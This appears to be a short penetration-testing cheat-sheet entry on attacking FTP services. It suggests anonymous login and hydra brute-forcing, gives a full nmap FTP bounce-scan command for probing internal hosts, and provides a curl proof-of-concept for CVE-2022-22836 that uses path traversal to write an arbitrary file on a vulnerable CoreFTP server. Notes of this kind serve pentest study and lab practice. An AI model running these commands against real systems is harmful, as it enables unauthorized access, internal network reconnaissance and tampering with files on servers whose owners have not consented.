FTP (21)

Attacks

We can log in as anonymous or use hydra to attack it.

Bounce Back

It is used to scan internal ports on another machine that is not exposed to the internet in a DMZ.
terminal
$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

CVE-2022-22836 (CoreFTP)

  • Vulnerability: CoreFTP before version 727 has a flaw in its handling of HTTP PUT requests.
  • Impact: Allows Directory Traversal and Arbitrary File Write.
  • Cause: The service does not properly control paths and write permissions outside the authorized directory.
terminal
$ curl -k -X PUT \-H "Host: <IP>" \--basic -u <username>:<password> \--data-binary "PoC." \--path-as-is https://<IP>/../../../../../../whoops